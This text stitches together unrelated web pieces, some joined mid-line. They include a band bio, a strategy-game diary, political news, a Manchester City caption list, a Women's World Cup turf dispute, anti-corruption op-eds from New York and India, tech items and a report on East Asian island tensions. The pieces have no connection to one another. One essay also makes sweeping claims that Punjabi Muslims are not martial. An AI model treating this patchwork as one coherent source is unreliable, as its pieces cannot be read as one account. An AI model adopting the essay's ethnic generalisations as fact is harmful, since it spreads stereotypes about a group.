From their growing fanbase and positive reviews, to tours with scene heavy hitters, it’s safe to say people are indeed enjoying CHON’s music. The San Diego band, which also includes guitarist Erick Hansel, bassist Drew Pelisek and drummer Nathan Camarena (Mario’s younger brother), began in early 2008 when friends Erick and Mario began writing what would become CHON songs. Soon they were ready to start playing shows, but they needed a drummer. So they taught Nathan how to play drums and had their first show that summer. It wasn’t long before they were playing every show they could.
In 2010 the band took an extended break, but by 2012 they had decided to pursue CHON full-time and were back to touring and writing music. “We’ve always had it in the back of our minds that we wanted to make [music] a career,” Mario says. “For some reason this project just turned out to be the one. It’s the music we started writing when we came into our own style and had our own original sound.” They released their first EP, Newborn Sun in 2013 and followed it up in 2014 with the Woohoo! EP. That record put CHON on the map, earning them a spot on Billboard 200.
Much like the title of their debut album suggests, CHON have evolved greatly since forming in 2008. There’s no telling where they will go next, musically—but more people are sure to be listening.
Mario Camarena, guitar
Erick Hansel, guitar
Drew Pelisek, bass
Nathan Camarena, drumsOk, so this is the week HoI4 came out. I am therefore going to write up the session events first, and if I have time not taken up by recreating the Great War on the Belgian front, there will be a narrative section. If you are reading this without any in-character narrative, you’ll know what my priorities turned out to be. Incidentally, does it seem to anyone else that the German AI is kind of timid? Sure, the Maginot Line is pretty impenetrable, but once you’ve overrun the Low Countries it shouldn’t be that difficult to get ten panzer divisions together and blow through a line of only infantry. DOWing Switzerland in an apparent attempt to find a weakness in a line that covers frickin’ Belgium is really not called for. Especially when you have to thin out the Belgian line to deal with the resulting thirty Swiss divisions, and give France an opportunity to drive for the Ruhr!
Oh right. Europa Universalis, that’s the game we were playing.
A while ago I got annoyed at Korean pirates in the Adriatic, and DOWed to remove the Korean bases in the Med. I had won that war when Fox, bribed no doubt by copious amounts of firewater, allied itself to Korea and – give the devil his due – politely informed me that I could either stand down my blockade or lose my fleet, which would be the fourth time this game. I stood down the blockade and ceded Madagascar, gaining some Persian provinces in exchange. You would not know it from my cheerful demeanour and courteous chat, but I was actually a tiny bit annoyed. I therefore spent last week and some of this quietly building up my fleet, from fourth in the world to second; specifically, I went from 100 bigships to 250, narrowly beating out Fox’s 230. Then I declared war, and parked my navy off the American coast where the Foxy Fleet was sitting in mothballs. It was, unfortunately, a garrisoned location or I would have landed my marines on the mothballed fort and driven the unprepared ships out to fight and die. As it was, I had a stroke of luck when, shortly after the declaration, his light ships – presumably out shaking down peaceful merchants going about their lawful business protecting trade – blundered into my heavies and sank shortly thereafter.
With complete naval superiority assured, it is of course only a question of time before the continental hegemon suffers economic collapse and bows to the just and reasonable demands of the small yet plucky trading republic. However, on the way to the inevitable victory of capitalists over feudalists dictated by the laws of dialectical materialism, there may arise some small contretemps and setbacks due to the efforts of the doomed ruling class to retain its unjust privileges. In particular, it turns out the Foxy Army has a discipline of 138. Given what I did to his sealift capacity, that isn’t the crippling issue it would have been if, for example, he was free to invade Italy; but there were various Foxy forces kicking about hither and yon in Asia and Africa, ranging in size from one-third to two-thirds of the entire Venetian army, and even the smallest turned out to be an individually formidable problem.
Check this out. Outnumbered four to one, the savages still kill three for every one they lose!
The Madagascar garrison is a case in point: Two 30k stacks guarding the war goal, on a three-province island. By the time I got around to them, I was feeling quite cautious about engaging Foxy forces on anything remotely approaching equal terms; I took my time. First I built some additional transports so I could sealift two 24k stacks simultaneously. Then I shipped most of my army to provinces close to Madagascar so I could land them all quickly. Then I landed 48k in Antananarivo, sieged it quickly while shipping in the rest of the army, and marched on one of the 30k stacks. I won the resulting 120k versus 60k battle, with a good general on my side, just barely, and wiped one of the stacks when it retreated to Antananarivo. So far so good. The other one retreated to Boina, where I could not pursue it because of the fort at Menabe. After the casualties I’d taken, it seemed unwise to try to attack it with a -2 landing penalty, so I unwisely left it alone while I sieged down the level-8 fort. Naturally I spread out my units a bit to try to reduce the attrition, including moving the worst-hit stacks across to Africa. That 30k stack, on its home territory, recovered to full strength much faster than my units; it went down to Menabe and killed my siege, boom. Then it turned around and zapped the reinforcements I had rushed into Antananarivo. The current situation is that there is one 30k stack guarding the three-province war goal… and if I take as many casualties reducing that to zero as I did in reducing it to one, I will be out of manpower.
The one major naval battle of the war; a glorious triumph for the Venetian Navy. I don’t know why Fox is still fighting; there’s no coming back from this sort of defeat.
Every theater is like this: A small Foxy army (in one case, a large Korean one), but with 138% discipline and enough combat modifiers to launch Poland into space. Nevertheless I persevere. The loss of Venezia-oltre-il-Mare is annoying but not decisive. Egypt is, as I well know, so fortified that it may take a decade to force anything on that front. Peshawar cannot add anything to my troubles on those two fronts; I’m not sure why they entered – I mean, yes, recover Girnar, but what damage do they expect to do so as to compel me to hand it over? Madagascar cannot stand against my full army forever, maneuvering difficulty or not; next time I won’t land in only one place and leave a retreating stack a sanctuary. And anyway history and naval superiority are on my side; the dialectic demonstrates it.
World situation, 1821. Note the near destruction of Fandango and the occupation of the Middle East.
Advertisements× DNC CEO resigns in wake of email scandal
WASHINGTON — The CEO of the Democratic National Committee will resign Tuesday in the wake of the committee’s hacked email scandal.
Amy Dacey is the highest-ranking official at the DNC to step aside due to the controversy, a senior Democratic official said, but is not the only one. The official did not provide further details.
Dacey is well-respected by Hillary Clinton‘s campaign and the DNC circle, a source familiar with the resignation said.
The committee is looking to clean house in the wake of leaked emails that appeared to show the committee favoring Clinton over Bernie Sanders during the primary.
Former DNC Chairwoman Debbie Wasserman Schultz resigned after the party’s convention last week as a result of the revelations.
The changes at the DNC come as the Clinton campaign is moving to take greater control of party headquarters in Washington and in states across the country.
Democrats are also trying to get ahead of the disclosure of more emails and internal documents from hacked computer systems, fearful of more embarrassing revelations.Are Punjabi Muslims martial? Do they have a history of war and conquest or at least of resistance to conquest? I ask because there's no evidence of their martial character in our history.
No general, no subahdar, no thanedar, no wazir, no bakhshi of the Mughal empire was a Punjabi Muslim so far as I know.
I might be wrong about this but there are only two Punjabi Muslims named in Mughal texts. The first is Kamaal Khan Gakkhar, who submitted (without fighting) to Akbar in 1576, according to Akbarnama. The second is Jalal Khan Gakkhar, an old man named among the victims by Jahangir in a skirmish with Afghans in 1620. A third reference is indirect, the name of the author of Shah Jahan's Padishahnama is Shaikh Abdul Hamid "Lahori". The Ain-e-Akbari has one joint reference to Janjuas and Awans, calling them tribes conquered by Afghans.
There are of course Punjabi Hindus (mainly Khatris) who fought for the Mughals with distinction. Like Todar Mal, who led the sapping at the siege of Chittorgarh against the Sisodiya Rajputs, and also settled the revenue system for Akbar. Maathir ul Umara says Todar Mal was born in Lahore, though British scholars thought this was Laharpur in Awadh.
Where are the Punjabi Muslims?
The fact is that the Punjabi Muslim is a convert mainly from the peasantry (Jat) which is not martial. Gen Ashfaq Kayani is Gakkhar, a caste that claims Rajput ancestry.
The second Rohtas fort was built by Sher Khan Sur to pacify the Gakkhars. In his Tuzuk, Jahangir makes the remark in passing that the Gakkhars are warlike, but adds that they only fight among themselves.
Meanwhile Rajput, Afghan, Maratha, Sikh, Jat (Hindu) and tribal Hindu generals all fought for and against Mughal armies.
Rajputs had to be continually submitted by force, except for the loyal Kachwahas of Ambar (Jaipur). Right down to Aurangzeb, according to Maasir-i-Alamgiri, Mewar’s Sisodiyas and Marwar’s Rathors resisted the emperor. I clarify here that Muslims other than Punjabis fought the Mughals, and some very well.
Uttar Pradesh's Rohilla Afghans were enemies of the Mughals and one of them (Najib ud Daulah) ruled from Mughal Delhi for 10 years.
Turkish-speaking Turani Sunnis and Farsi-speaking Irani Shias were the most important parties in the Mughal court. The former ranked as better fighters than the latter, who were better administrators. The fiercest Indian-origin Muslims were Shias, the Syeds of Barha (in Uttar Pradesh).
The Maratha light cavalry was devastating and ended Muslim rule over India. The Sikhs captured Punjab and raided west up to Kabul and east up to the Doab. The Jats south of Delhi made life miserable for the later Mughals. Even the Baniya general Hemu showed martial character, almost ending Mughal rule before falling at the second battle of Panipat.
What exactly did the Punjabi Muslim do?
Invaders who got past Peshawar could then only be stopped at Karnal or Panipat because they went through Punjab undisturbed.
It is true that the armies of both Nadir Shah and Ahmed Shah Abdali were harassed in Punjab on their return with Mughal booty, but their attackers were Sikhs, not Muslims.
Punjab was a quiet state. Punjabi Muslims neither rebelled against Mughal Delhi nor fought any invader whether Afghan or Persian. Was this because the Punjabi did not want to fight other Muslims? Not really, because he did not even resist being conquered easily by Sikhs, who were only 12 percent of Punjab.
It is the Englishman who 150 years ago gave the Punjabi Muslim a rifle and taught him how to use it. But this did not require any martial background. The British Bengal army was full of UP Brahmins (like Mangal Pandey). It is only after this formation of the modern regiments, that Punjabi Muslims are called martial by writers like GF MacMunn.
After the English left, the record of Punjabi Muslims at war under their own generals is not sterling. I count one draw and one loss and I'm being charitable.
Against the Pashtun Talib the record is not encouraging, despite the thousands of martyrs. Nadir Shah said of Indian Muslims after the battle of Karnal that they "know how to die, but not how to fight."
This is fine and many states of India are not martial. Few soldiers were produced by Bengal's
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88/111 West Ham 2 Manchester City 1 Morgan Amalfitano gives West Ham the lead in the early part of the match, turning in a cross from Enner Valencia Getty Images 89/111 West Ham 2 Manchester City 1 Barcelona loanee Alex Song was an impressive force for the Hammers in midfield Getty Images 90/111 CSKA 2 Manchester City 2 Sergio Aguero and James Milner put City into a two goal lead by half-time in this Champions League group game GETTY IMAGES 91/111 CSKA 2 Manchester City 2 Ferdando was booked for this challenge GETTY IMAGES 92/111 CSKA 2 Manchester City 2 CSKA Moscow pulled one back and then Natcho equalised from the spot for the hosts GETTY IMAGES 93/111 CSKA 2 Manchester City 2 City pushed for a winner in the final few minutes but to no avail GETTY IMAGES 94/111 Manchester City 3 Tottenham 1 Sergio Aguero completes his hat-trick from the penalty spot to put City 3-1 up GETTY IMAGES 95/111 Manchester City 3 Tottenham 1 Roberto Soldado reflects on his penalty miss GETTY IMAGES 96/111 Manchester City 3 Tottenham 1 Sergio Aguero sees City's second penalty of the game saved and then hits the rebound over GETTY IMAGES 97/111 Manchester City 3 Tottenham 1 David Silva is fouled to give City their second penalty GETTY IMAGES 98/111 Manchester City 3 Tottenham 1 Sergio Aguero gets his second of the afternoon from the penalty spot GETTY IMAGES 99/111 Manchester City 3 Tottenham 1 Frank Lampard is fouled by Erik Lamela to give City a penalty GETTY IMAGES 100/111 Manchester City 3 Tottenham 1 Christian Eriksen celebrates his equaliser for Spurs GETTY IMAGES 101/111 Manchester City 3 Tottenham 1 Christian Eriksen equalises for Spurs GETTY IMAGES 102/111 Manchester City 3 Tottenham 1 Sergio Aguero celebrates his opening goal GETTY IMAGES 103/111 Manchester City 3 Tottenham 1 Sergio Aguero fires City into the lead GETTY IMAGES 104/111 Aston Villa 0 Manchester City 2 Sergio Aguero celebrates his goal GETTY IMAGES 105/111 Aston Villa 0 Manchester City 2 Sergio Aguero makes it two with a smart low finish GETTY IMAGES 106/111 Aston Villa 0 Manchester City 2 Yaya Toure finally breaks the deadlock and puts City in front GETTY IMAGES 107/111 Manchester City 1 Roma 1 Sergio Aguero slots home from the spot early in the Champions League match Getty Images 108/111 Manchester City 1 Roma 1 Joe Hart can't stop Totti bringing the scores level Getty Images 109/111 Manchester City 1 Roma 1 Former Arsenal team-mates Gael Clichy and Gervinho come together Getty Images 110/111 Manchester City 1 Roma 1 Martin Demichelis rises into the air during this game at the Etihad Getty Images 111/111 Hull City 2 Manchester City 4 Substitute Frank Lampard made in four goals in three matches to secure the three points for City at the KC Stadium Getty Images
"For me what makes Frank Lampard special is how professional he is in training: this is what I appreciate from him," said Zabaleta.
"You see him at training: he is the first to arrive on the training ground and the last to go home.
"He won everything with Chelsea, he's a legend in football and he's still playing like he's 18 years old."
Lampard coolly slotted City's second and decisive goal at St Mary's on Sunday, helping Manuel Pellegrini's side shrug off a red card for defender Eliaquim Mangala.
City leapfrogged Saints into second place in the Premier League table, closing the gap on leaders Chelsea to six points.
Pellegrini's men face Sunderland on Wearside on Wednesday night, with midfield general Yaya Toure pledging to ignore criticis of his early-season fight for form.
The Ivory Coast star is ready to put a hectic 12 months behind him and lead City's title race against Jose Mourinho's Chelsea.
Toure, who struck City's first goal at Saints on Sunday, has endured the death of his brother, detractors of his form and a spat with club bosses over his birthday.
Now though, the 31-year-old is fully focused on bringing more silverware to the Etihad Stadium.
"For me the most important thing is I try to do my best for the team," said Toure.
"Sometimes people are not thinking we are human beings, people are always trying to criticise you even though you are a human being.
"So I never think about those things, I always try to focus on my team.
"The Premier League is important, and whenever we lose we will get criticised.
"Teams will always step up their game against us, and we know we've got to try to keep place with Chelsea."
PA
Keep up to date with all the latest news with expert comment and analysis from our award-winning writersThe Women’s World Cup in Canada is less than 10 months away, and the last thing FIFA wants on its hands is a lawsuit from the top players in global women’s soccer. But that’s exactly what those players are threatening publicly right now if FIFA and Canadian organizers don’t change their plans to stage the World Cup on artificial turf fields in the tournament’s six stadiums.
The U.S.’s Abby Wambach, Alex Morgan and Heather O’Reilly are some of the players whose legal representation—which includes a Canadian firm and the same U.S. firm that brought the recent O’Bannon vs. NCAA case—sent a letter to FIFA and Canada 2015 organizers in late July threatening a lawsuit. As of Monday, FIFA and the Canadians had acknowledged receiving the letter but had yet to respond.
The Americans are hardly the only players ready to take FIFA to court for what they view as a case of gender discrimination, considering the men’s World Cup has never been played on artificial turf and won’t be in 2018 or ’22, either.
Current FIFA Women's World Player of the Year Nadine Angerer, the German national team goalkeeper, told SI.com she’ll do whatever she can to ensure the World Cup is played on natural grass, just like every previous senior Women’s World Cup.
“From the perspective of goalkeepers, we have to jump on this concrete,” Angerer said. “We are landing all the time, and it’s really bad. I played just a few weeks ago in Vancouver on this turf [in a Germany-Canada friendly], and it’s really embarrassing. Seriously, it’s concrete.”
The Women’s World Cup final is set to take place on that turf in Vancouver at B.C. Place next July 5. And while Canadian organizers promised in their proposal that each stadium would have the highest-rated artificial surface—known as FIFA-recommended 2-star turf—let’s just say Angerer’s description of the Vancouver field didn’t fit the two-star rating that it already has.
Angerer had another question as well: “I can’t understand why the women have to play a World Cup on [artificial] turf. Why just for the women and not for the men?”
Spanish star Vero Boquete, who plays alongside Angerer and Morgan for the NWSL’s Portland Thorns, told SI.com that Brazil star and five-time Women's World Player of the Year Marta has joined the group that could file a lawsuit against FIFA.
“[Marta] is with us totally,” Boquete said. “I spoke with her recently, and she agreed with us.
“We play on turf [in Portland], and we know how difficult it is to recover when you play on turf,” Boquete continued. “In the World Cup we have to play in a short time many games. It’s not the same recovery, and that will mean the level is worse off and won’t be the best that it can be.”
For Morgan, there are other issues, too.
“Two main reasons stick out to me,” Morgan said. “The first is that many of the injuries I’ve had in the past have come from artificial turf. Injury prevention is a big thing for me. The second thing is the game is played differently. The bounce on the surface is different, and a lot of players don’t play the same way on turf as on grass, because they don’t want to go down for a slide tackle or do a diving header.”
Canadian World Cup organizers referred all requests to FIFA, and while FIFA confirmed the receipt of the players’ letter to SI.com, a spokesperson added the organization would have no further comment at this time.
Staging tournaments on approved artificial turf surfaces is within the rules of FIFA, and senior men’s World Cup qualifiers as well as games in the men’s and women’s Under-20 World Cups have taken place on the fake stuff. Proponents of Canada’s successful bid to host the 2015 tournament note that artificial turf surfaces are better suited to year-round use in the cold Canadian climate. The use of artificial turf was part of Canada’s original bid, for which the only competition was a bid from Zimbabwe (which eventually pulled out).
A few questions remain about the situation:
• If the NWSL has six artificial turf fields in its league, why haven’t the players considered a lawsuit over that?
For Morgan, the World Cup is the quadrennial showpiece event of her sport and shouldn’t be subject to the compromises that come with trying to make a women’s soccer league work after two other leagues folded in the last 11 years.
“For me the obvious reason is there’s lots of planning involved in the host nation [of a World Cup],” Morgan said. “In Brazil, they had to spend millions of dollars and years of planning to put these venues around the country for the men’s World Cup. All we’re asking for is a good surface to play on. This is a tournament that comes around once every four years and is the pinnacle of football. Although we’d like to play on grass day in and day out, we’re not always given that option with our NWSL teams. But with the amount of planning that goes into the host nations for the male and female World Cups, we should be given the best surface to play on.”
• Is there even enough time to have good grass surfaces installed in the Canadian venues?
The players’ legal representation thinks so.
“We’ve spent a lot of time talking to grass experts, and there’s no question that there’s plenty of time at this point,” said Hampton Dellinger, one of the players’ attorneys at Boies, Schiller and Flexner. He cited the successful grass tray system used at the Pontiac Silverdome during the 1994 World Cup, as well as the rolling system at University of Phoenix Stadium in Arizona and the temporary grass used at the Rose Bowl national title college football game last year.
• What sort of gender-discrimination legal argument might the players pursue?
Dellinger said his team is looking at a number of laws, but they’re focusing right now on the Canadian human rights codes in each province and the national Canadian charter on rights and freedoms.
“All of them say you can’t discriminate on a lot of things, including facilities and accommodations,” Dellinger said. “I think it falls squarely into those provisions.”
Dellinger’s team noted that a Canadian soccer executive, Shannon Pederson, a member of the board of directors of the British Columbia Soccer Association, recently admitted while criticizing the lawsuit threat: “That said, would FIFA ever consider the use of artificial turf in the men’s tournament? Most likely not.”
Regardless of whether the players’ threat escalates into a lawsuit, it’s not a good look for FIFA to have the best players in women’s soccer talking about taking legal action against the organization. And while the players say they won’t boycott the World Cup if their appeals are denied, they’re preparing for a potential battle in the courtroom.
“We have a lot of support from many countries," said Morgan, who argued that FIFA (with its $2 billion in profits from this year’s men’s World Cup) can easily afford to make the playing surface changes. "We’re talking about Spain, Germany, Brazil, England, Mexico, New Zealand and the list goes on. We want people to agree with our standpoint and accept the fact that the tournament should be played on a grass surface. We’re hoping not to go to court, but if they don’t respond and if nothing is done to change the situation with the host nation and the venues, then we’ll have to move forward eventually.”
Observing New York state politics is like watching felons run a parole board. Last week, senate leadership killed a bill that would have cleaned up state government and created citizen-funded elections. It was a huge opportunity to stem corruption that has wracked the state. Thirty-two state officials have been in deep trouble over the last few years, including (ironically) four former Senate majority or minority leaders. A 2012 study gave New York a D grade, and ranked it 36th nationally in government integrity.
But this is more than just another case of jaw-dropping political dysfunction. What happened in Albany last week has major implications for national anti-corruption efforts that are central to making progress on the issues that you care about most, yet keep losing. Health care, climate change, education, financial oversight, military spending... the list goes on.
We'll never beat corruption through wonky legislative battles alone.
We'll need an anti-corruption movement akin to those in Brazil & Turkey
Every American who cares one whit about future generations should be obsessed with money in politics corruption. And for those of us who are, all eyes were on Albany. The Fair Elections Act was backed by serious funders and a skillful organizing campaign. But it was not enough: the latest in a long string of disappointments for public interest advocates. This one however should serve as a blaring wake up call for reformers that it is time to change the play.
The Albany effort had all of the ingredients of a winning campaign. In January, Governor Cuomo opened the legislative session with public financing as one of his top priorities. It received endorsements from celebrities like Alec Baldwin and Jason Alexander as well as the editorial boards of the New York Times and several other papers across New York. The state assembly easily passed the measure in May, but in the end, the momentum for change was stopped cold.
How could this happen? The hard lesson to take from Albany is that a deliberate legislative effort that works within a corrupt system -- in the current political environment -- cannot overcome the power of that corruption. The only way to get foxes (politicians) to put a lock on the henhouse (campaign money) is to change the political environment, and force politicians in the only place that works: the ballot box. And to do that, we must break with old habits, and forge a new strategy that:
1) Enlists grassroots conservatives and moderates into a movement historically associated with the left. Albany was no exception, yet polls show Americans of all ideologies support reform, and we now see that progressives cannot do it alone.
2) Builds a grassroots movement that is far bigger than the issue has ever seen. That means using more aggressive marketing and organizing tactics, and winning the active support of myriad issue advocates who are continually losing to moneyed interests. We must give them attractive and accessible entry points to the movement, and show them a path to victory.
3) Moves away from incremental policy proposals. We need big, visionary demands that can both inspire a movement and credibly claim to end quid pro quo politics. In this big tent there is room for both legislative proposals as well as amendments to the U.S. Constitution (a long shot, but a worthy organizing tool). It is notable that NYPIRG, League of Women Voters and Citizens Union did not actively support the Fair Elections Act in Albany because it was not comprehensive enough. I think they got caught up letting perfect be the enemy of the good, but it is a reminder that we must rally behind more comprehensive proposals.
4) Stops talking about campaign reform, democracy and public funding, and start talking about corruption. People may like democracy, but they're fired up about corruption.
With these pitchforks at the ready, citizens must go directly to their representatives in government with firm demands. Politicians of all stripes must be forced to go on record as for or against comprehensive reform. If they're for it, they should be recognized as "anti-corrupt" and strongly supported. If they're against it, they must be removed from office with the same zeal and effectiveness that defines the nation's most effective lobbies -- like the National Rifle Association. Serious money needs to fuel a whole new level of organizing and accountability. Some of the key backers of the NY effort get it, and plan to redouble their efforts to unseat opponents in Albany's aftermath. Professor Lawrence Lessig has announced similar plans. A consensus is growing.
At the end of the day, our job is to set the table for reform. "Only a crisis -- actual or perceived -- produces real change. When that crisis occurs, the actions that are taken depend on the ideas that are lying around," observed Milton Friedman. A corporate fundraising scandal in President Theodore Roosevelt's 1904 campaign prompted Congress to outlaw corporate contributions "in connection with any election." In 1943, with labor unions' power ascending, Congress extended the ban to them as well. In 1974, in response to the Watergate crisis, Congress implemented sweeping reforms, including contribution limits, disclosure rules and the public funding of presidential campaigns. Reformers have lost most of the battles ever since.
We must learn from this history, and better prepare so that real, comprehensive reform -- not piecemeal half measures -- are what get picked up and passed when the next major scandal breaks. We must begin building an anti-corruption movement like the ones rising in Brazil & Turkey. And we must organize, investigate and agitate to expedite that moment of opportunity.
Last month, a few dozen people gathered one evening in Istanbul to block the Turkish government's effort to demolish Taksim Gezi Park. The government sprayed them with tear gas and water cannons, and within days there were large demonstrations in dozens of cities across the nation. The national uprising was not ultimately about the park in Istanbul. It grew from a fervent belief amongst the Turkish people that their government is not acting on their behalf. A similar stew is simmering here in the U.S., even if it is not as hot as in Turkey.Microsoft, after talking about the idea for a while now, has finally ended support for I.E. 8, 9 and 10. Their focus from here on will be on Microsoft Edge and I.E. 11. The market share of people using I.E. has dropped to 6.8% last year from 85% in 2002, with users preferring Google Chrome and Firefox. This is down to the fact that people prefer the high speed and security of Firefox, the ease of Google Chrome being synced on all devices, and Microsoft Edge, a browser that enables apps, only being released in 2015. For those of you who still have I.E. 8, 9 and 10, it is recommended that you either update your browser or switch to a different browser, whether Firefox, Chrome, Edge or another.
Edit: For more info on whether your browser will receive updates, visit https://support.microsoft.com/en-us/lifecycle#gp/Microsoft-Internet-ExplorerIntel
The end of Moore's Law may ultimately be as much about economics as physics, says a DARPA director.
"My thesis here is that it's time to start planning for the end of Moore's Law, and that it's worth pondering how it will end, not just when," Robert Colwell, director of the Microsystems Technology Office at the Defense Advanced Research Projects Agency, told CNET.
Colwell gave a presentation at the Hot Chips Conference at Stanford University on Monday titled "The Chip Design Game at the End of Moore's Law." On Tuesday, he provided further comment to CNET.
"The silicon business is incredibly expensive for folks like Intel, who have to pay huge amounts of money to develop the next-generation silicon technology," he said.
How expensive? The new Globalfoundries chip plant in upstate New York was a $6 billion undertaking, and the capital expense will rise to $8 billion when a new R&D facility is added to it, with that work expected to finish up in late 2014.
Moore's Law, named after Intel co-founder Gordon Moore, states that the number of transistors that can be placed on an integrated circuit doubles roughly every two years. For decades, chipmakers have succeeded in shrinking chip geometries, allowing Moore's Law to remain on track and consumers to get their hands on ever more powerful laptops, tablets, and smartphones.
Below are the comments he provided to CNET based on his speech at the Hot Chips conference:
[It takes] huge amounts to build the fab plants, and yet more...to pay for the design teams to design new chips. Intel makes these investments, which are in the [billions of dollars], because they expect to reap way more [billions of dollars] in profits in the following years. But if there is doubt that those profits will arrive, and possibly if they just doubt they can come up with the necessary silicon improvements, they may not want to make the investment at all. Should a major player like Intel make such a call, that would effectively end Moore's Law all by itself, because then the various companies that make the super expensive tools for chip production will themselves not make the investments needed to keep Moore's Law alive.
Expanding on the comments above, Colwell said companies need to focus on the economics of getting to 7 nanometers and beyond:
I think most technologists will, at least privately, rationally consider the prospects for the end of Moore's Law. But they focus on the physics, which change substantially from one silicon process technology to the next. These technologists know how monumental the challenges are to even get to [7 nanometer] silicon technology, so the natural assumption is that eventually some problem with the next silicon process technology will turn out to be physically insurmountable, and that's what will end Moore's Law. They are right, there are very serious challenges looming, but then, the silicon industry has beaten back such challenges in the past. This gives a lot of people false confidence that we can do it again. My attitude is, maybe we can, maybe we can't, but physics isn't the only challenge. That was my point in focusing on economics, to remind the field that we have to succeed at the physics AND the economics or we will have failed, and Moore's Law will have ended.
Colwell said that for the Defense Department, he uses the year 2020 and 7 nanometers as the "last process technology node."
But he adds, "In reality, I expect the industry to do whatever heavy lifting is needed to push to 5nm, even if 5nm doesn't offer much advantage over 7, and that moves the earliest end to 2022. I think the end comes right around those nodes."
Intel has already begun discussing commercial 10-nanometer technology, which is expected to ramp up in 2015.
But Intel component scientists have also said that it's not clear what technology will be used beyond 7 nanometers.
Currently, Intel processors, such as its Ivy Bridge and Haswell processors, are made on a 22-nanometer process.In April, Anna Hazare, a septuagenarian social activist who was once an army driver, left his village in Maharashtra State, came to Delhi and announced a fast-unto-death to demand that the government create an autonomous anti-corruption institution that would have the powers to investigate and prosecute anybody.
At the time, the government was embroiled in political scandals and public ire against politicians was particularly high.
When the news media began to transmit images of this austere old man sitting on a stage, wearing the formal whites of rural Maharashtra and threatening to die of starvation, the Indian middle class erupted in support. The anti-corruption movement suddenly became a joyous carnival.
The government yielded and agreed to form a committee of ministers and members of the anti-corruption movement chosen by Mr. Hazare. Mr. Hazare drank a liquid refreshment given to him by a little girl and ended his fast. But the committee could not agree on the legislation that would give birth to the anti-corruption body. Mr. Hazare wants the prime minister and the judiciary to be included in its ambit. The government does not want the body to be that far-reaching and has accused civic leaders of using the news media to twist the arm of a government elected by the people (precisely why the urban middle class loves Mr. Hazare).
Mr. Hazare has threatened to go on another fast-unto-death next month if his demands are not met. So pumped is he these days that he has started referring to himself in the third person: “Anna will face the bullets. Anna is not afraid of the government.” In India, usually only aging film stars refer to themselves in the third person.
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If the government is unable to deter Mr. Hazare from his death fast, one of the greatest battles of modern India will begin on Aug. 16 — the government elected largely by the poor versus the icon of the middle class on whom advertisers spend millions in the breaks between news reports.
Prashant Bhushan, a tireless civil liberties lawyer at the core of the anti-corruption movement, and a close confidant of Mr. Hazare — and one of the few Indians in recent times to address the public in just shirt and trousers — told me: “India is a top-down nation. Corruption comes from the very top and seeps into every aspect of the society.”
It is a view that has endeared itself to the middle class — that politicians are the fountainhead of corruption and not merely products of a corrupt society that rates practicality over values.
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The rise of the anti-corruption movement in India is also the rise of the nonpolitical leftists. That is, those who are not formally aligned with any political party but have overt socialist tendencies.
Mr. Bhushan, for instance, does not hide his contempt for capitalism and consumerism. He told me in an earlier interview that while nobody could deny that there was corruption in India before the economy was liberalized, the speed of privatization had “increased the demand for corruption.” He would like to stall many of the economic changes that India has pursued in the last 20 years.
The anti-corruption campaigners find support in the middle class right now because they are credited with “good intentions.” But India is the proof that there is nothing more dangerous than the good intentions of leftists. In fact, that is how they first destroyed the nation — through nearly five decades of good intentions, which included central planning, a closed economy and protection of Indian companies from foreign competition.
In time, as Mr. Hazare and friends escalate their war and begin to challenge India’s economic policies, it is possible that a day will come when a band of middle-class boys will sit together and say with anger and sorrow, “There are no prospects in this country.”
Which is exactly what their fathers used to say.
Manu Joseph is editor of the Indian newsweekly Open and author of the novel “Serious Men.”Image copyright AFP Image caption Leon Panetta started his regional tour in Tokyo
The US defence secretary has warned territorial disputes in East Asia have the potential to become wider conflicts if provocations are not reduced.
"A misjudgement on one side or the other could result in violence, and could result in conflict," Leon Panetta said at the start of an Asian tour.
His comments came as anti-Japanese protests continue to sweep China over a disputed island chain.
Demonstrators gathered in cities across China for a second day on Sunday.
Riot police used tear gas and water cannon in the southern city of Shenzhen to break up an angry crowd.
China is reasserting its claim to sovereignty over the disputed Senkaku or Diaoyu islands in the East China Sea, in the wake of a Japanese government decision last week to purchase the islands from their private Japanese owners.
Japanese Prime Minister Yoshihiko Noda has urged Beijing to take steps to protect Japanese nationals, but added that the authorities in both countries should "remain calm".
'Potential to expand'
Speaking in Tokyo, Leon Panetta said: "I am concerned that when these countries engage in provocations of one kind or another over these various islands, that it raises the possibility that a misjudgement on one side or the other could result in violence, and could result in conflict.
Analysis Leon Panetta arrived in Japan for a short, but timely, visit. The mounting tension between his hosts and China is expected to dominate his meetings with the foreign and defence ministers. Panetta will travel next to China, where he may be the last high-ranking US official to visit before the country's once-a-decade leadership change. Ultimately, who is right on the territorial dispute? As far as the Obama administration is concerned, it's not about who owns the islands - it's about avoiding a costly action/reaction scenario that could lead to conflict between the two countries. As US Secretary of State Hillary Clinton said on her recent trip to the region, and Mr Panetta has reiterated, the US doesn't want to get involved in other nations' territorial disputes. However, while the relationship between the world's second and third largest economies, China and Japan respectively, tends to be somewhat strained - genuine unrest would be an international problem.
"And that conflict would then have the potential of expanding," he warned.
The US defence chief stressed that during his talks in Tokyo and later in Beijing he would appeal for restraint.
Mr Panetta also said that Washington did not take a position with regard to the territorial disputes in Asia.
He will also visit New Zealand as part of his tour.
On Sunday, hundreds of Chinese protesters again faced off against riot police at the Japanese embassy in Beijing.
In Shenzhen, police fired tear gas to disperse a demonstration, while in the nearby city of Guanghzhou angry crowds burned Japanese flags.
One eyewitness in the city of Xi'an described to the BBC on Saturday how his camera was snatched from him and damaged because it was a Japanese brand.
"Japanese-made cars were randomly stopped, their drivers grabbed and thrown out... and the cars smashed and burned. The police and army seemed to do little to stop the riot," he said.
Tensions have been heightened this week after the purchase of some of the islands by the Japanese government from their private Japanese owners.
China briefly sent six surveillance ships into waters around the islands on Friday in response.
The islands are also claimed by Taiwan and have been a long-running source of friction in the region.
Analysts see Japan's decision to buy the islands as damage limitation in response to a much more provocative plan by the nationalistic governor of Tokyo, who wanted to purchase and develop the islands.
Media silence
And yet there is virtually no mention of the protests in China's state media, and attempts have been made to control discussion on the internet, BBC Asia-Pacific analyst Charles Scanlon says.
He says this reflects the Communist leadership's ambivalence about such displays of nationalist fury: they can be useful to send a message to Japan, but could easily get out of control and spark wider expressions of discontent.
He adds that there is plenty of scope for miscalculation in the coming days: Chinese fishing fleets are set to return to the disputed waters, and nationalists could try to provoke Japan by landing on the islands.
In Japan, the government seems unlikely to back down with election looming.
There is talk in the Japanese press that some on both sides could be willing to risk a limited naval clash in defence of the conflicting claims, our analyst says.
Further complicating matters, Japan's newly appointed ambassador to China, 60-year-old Shinichi Nishimiya, died on Sunday, the foreign ministry said.
The envoy - who had been due to take his post in October - collapsed several days earlier near his Tokyo home and was taken to hospital.
